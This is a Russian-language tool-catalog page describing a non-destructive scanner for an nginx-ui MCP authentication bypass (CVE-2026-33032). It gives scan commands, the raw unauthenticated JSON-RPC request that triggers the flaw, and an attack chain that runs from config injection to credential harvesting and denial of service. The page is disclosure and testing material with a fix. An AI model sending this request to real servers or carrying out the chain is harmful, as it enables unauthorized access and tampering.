Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-33032-scanner — Неразрушающий сканер уязвимостей для обхода аутентификации конечной точки MCP в Nginx-UI (CVE-2026-33032) | Kitploit
Инструменты/GitHubGitHub/twinson333/cve-2026-33032-scanner
Сканеры уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеАутентификацияБезопасность API
GitHubtwinson333/cve-2026-33032-scanner

cve-2026-33032-scanner

Неразрушающий сканер уязвимостей для обхода аутентификации конечной точки MCP в Nginx-UI (CVE-2026-33032)

Репозиторий
3275 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Сканер CVE-2026-33032

Нераэрушающий сканер уязвимостей для обхода аутентификации MCP-эндпоинта Nginx-UI

Обзор уязвимости

CVE-2026-33032 — это уязвимость обхода аутентификации в интеграции Model Context Protocol (MCP) в nginx-ui. Эндпоинт /mcp_message не имеет промежуточного ПО аутентификации, предоставляя при этом доступ ко всем MCP-инструментам, что позволяет удалённым злоумышленникам:

  • Читать конфигурации и статус nginx
  • Создавать/изменять/удалять файлы конфигурации nginx
  • Перезапускать или перезагружать службу nginx
  • Похищать конфиденциальные данные конфигурации
  • Внедрять вредоносные конфигурации для перехвата трафика

Корневая причина

  1. Асимметрия аутентификации: Эндпоинт /mcp требует аутентификацию, а /mcp_message — нет:

    root@kitploit:~
    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
    r.Any("/mcp_message", middleware.IPWhiteList(), ...)  // Отсутствует AuthRequired()
    
  • Белый список IP с режимом fail-open: Белый список IP по умолчанию пуст, и промежуточное ПО трактует это как «разрешить всем»

  • Оба эндпоинта используют общий обработчик: Оба маршрутизируются к одному mcp.ServeHTTP(), который обрабатывает все вызовы MCP-инструментов

  • Возможности сканера

    ✅ Нераэрушающее тестирование — используются только MCP-инструменты с доступом на чтение
    ✅ Комплексная идентификация — определяет установки nginx-ui
    ✅ Безопасное доказательство концепции — никаких изменений конфигурации
    ✅ Пакетное сканирование — обработка нескольких целей из файла
    ✅ Подробные отчёты — вывод в формате JSON для интеграции

    Установка

    root@kitploit:~
    # Клонируйте или скачайте сканер
    git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
    cd cve-2026-33032
    chmod +x cve-2026-33032-scanner.py
    
    # Установите зависимости (при необходимости)
    pip3 install requests
    

    Использование

    Базовое сканирование

    root@kitploit:~
    # Сканирование одной цели
    python3 cve-2026-33032-scanner.py -u http://target.com:9000
    
    # Сканирование с подробным выводом
    python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
    
    # Пользовательский таймаут
    python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
    

    Пакетное сканирование

    root@kitploit:~
    # Сканирование нескольких целей из файла
    python3 cve-2026-33032-scanner.py -f targets.txt
    
    # С подробным выводом и JSON-отчётом
    python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
    
    #Burp Pingback
    python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
    

    Формат файла целей

    root@kitploit:~
    # targets.txt — по одному URL на строку
    http://192.168.1.100:9000
    https://nginx-ui.corp.com
    http://10.0.0.50:9000
    

    Как это работает

    Сканер выполняет многоэтапный процесс обнаружения:

    Этап 1: Идентификация

    Проверяет типичные эндпоинты nginx-ui для определения установки:

    • /api/info — информация о версии
    • /login — страница входа
    • /api/auth/login — эндпоинт аутентификации
    • /mcp и /mcp_message — MCP-эндпоинты

    Этап 2: Проверка аутентификации

    Тестирует эндпоинт /mcp, чтобы убедиться, что он корректно требует аутентификацию (базовый уровень)

    Этап 3: Эксплуатация уязвимости

    Выполняет нераэрушающие вызовы MCP-инструментов через /mcp_message БЕЗ аутентификации:

    1. nginx_status (самый безопасный) — читает статус процесса nginx
    2. nginx_config_list — выводит список файлов конфигурации
    3. nginx_config_base_path — получает путь к каталогу конфигурации

    Если любой инструмент выполняется без аутентификации, уязвимость подтверждена.

    Используемые безопасные MCP-инструменты

    Сканер вызывает только MCP-инструменты с доступом на чтение:

    ИнструментОписаниеВоздействие
    nginx_statusЧтение статуса службы nginxБез изменений
    nginx_config_listВывод списка файлов конфигурацииБез изменений
    nginx_config_base_pathПолучение пути к каталогу конфигурацииБез изменений

    Инструменты, явно исключённые:

    • nginx_config_add — создал бы файлы
    • nginx_config_modify — изменил бы конфигурации
    • restart_nginx / reload_nginx — нарушение работы службы
    • nginx_config_enable — изменил бы активные конфигурации

    Примеры вывода

    Уязвимая цель

    root@kitploit:~
    [+] nginx-ui обнаружен: Найдено 'nginx-ui' в /login
    [+] Эндпоинт /mcp корректно защищён
    
    [*] Тестирование эндпоинта /mcp_message (CVE-2026-33032)...
      [*] Попытка инструмента: nginx_status — чтение статуса nginx (самый безопасный)
          Статус: 200
    
    ======================================================================
    [!] УЯЗВИМ к CVE-2026-33032
    ======================================================================
    Доказательство: Успешно выполнен nginx_status без аутентификации
    

    Защищённая цель

    root@kitploit:~
    [+] nginx-ui обнаружен: Эндпоинт версии доступен
    [+] Эндпоинт /mcp корректно защищён
    
    [*] Тестирование эндпоинта /mcp_message (CVE-2026-33032)...
      [*] Попытка инструмента: nginx_status — чтение статуса nginx (самый безопасный)
          Статус: 401
          Требуется аутентификация (защищено) ✓
    
    [+] НЕ уязвим — эндпоинт требует аутентификацию
    

    Устранение уязвимости

    Если уязвимость подтверждена:

    1. Немедленное исправление: Добавьте промежуточное ПО аутентификации к /mcp_message:

      root@kitploit:~
      r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
          func(c *gin.Context) {
              mcp.ServeHTTP(c)
          })
      
    2. Эшелонированная защита:

      • Настройте белый список IP на запрет всех по умолчанию
      • Ограничьте MCP-эндпоинты только localhost, если внешний доступ не требуется
      • Внедрите ограничение скорости на MCP-эндпоинтах
    3. Обновление: Обновитесь до исправленной версии nginx-ui, когда она станет доступна

    Ответственное раскрытие

    Этот инструмент предназначен для:

    • ✅ Программ bug bounty
    • ✅ Авторизованного тестирования на проникновение
    • ✅ Исследований безопасности с разрешения
    • ✅ Проверки уязвимостей перед раскрытием

    НЕ используйте этот инструмент на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

    Советы по Bug Bounty

    При сообщении об этой уязвимости:

    1. Критичность: Критическая (CVSS 9.8+)

      • Доступна по сети
      • Аутентификация не требуется
      • Полная компрометация системы
      • Эксфильтрация + модификация конфигурации
    2. Доказательство: Включите вывод сканера, показывающий успешный вызов MCP-инструмента без аутентификации

    3. Цепочка воздействия:

      • Неаутентифицированный доступ → Чтение конфигурации → Раскрытие топологии бэкенда
      • Запись конфигурации → Внедрение вредоносного прокси → Сбор учётных данных
      • Перезапуск nginx → Нарушение работы службы → DoS
    4. Безопасное PoC: Используйте только инструменты с доступом на чтение (nginx_status, nginx_config_list)

    Технические детали

    Формат вызова MCP-инструмента

    root@kitploit:~
    POST /mcp_message HTTP/1.1
    Content-Type: application/json
    
    {
      "jsonrpc": "2.0",
      "method": "tools/call",
      "params": {
        "name": "nginx_status",
        "arguments": {}
      },
      "id": 1
    }
    

    Успешный ответ

    root@kitploit:~
    {
      "jsonrpc": "2.0",
      "result": {
        "content": [
          {
            "type": "text",
            "text": "nginx is running (PID: 1234)"
          }
        ]
      },
      "id": 1
    }
    

    Защищённый ответ

    root@kitploit:~
    HTTP/1.1 401 Unauthorized
    {
      "error": "authentication required"
    }
    

    Ссылки

    • CVE: CVE-2026-33032
    • Затронуто: nginx-ui (версии с интеграцией MCP)
    • CVSS: 9.8 (Критическая)
    • CWE: CWE-306 (Отсутствие аутентификации для критической функции)

    Лицензия

    Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.

    Автор

    Antony Esthak Twinson @ Cyber Tamarin
    Исследователь безопасности | Охотник за Bug Bounty
    Специализация: безопасность веб-приложений и исследование уязвимостей


    Отказ от ответственности: Этот сканер выполняет только неразрушающее тестирование. Всегда получайте надлежащее разрешение перед тестированием любых систем.

    Скачать инструмент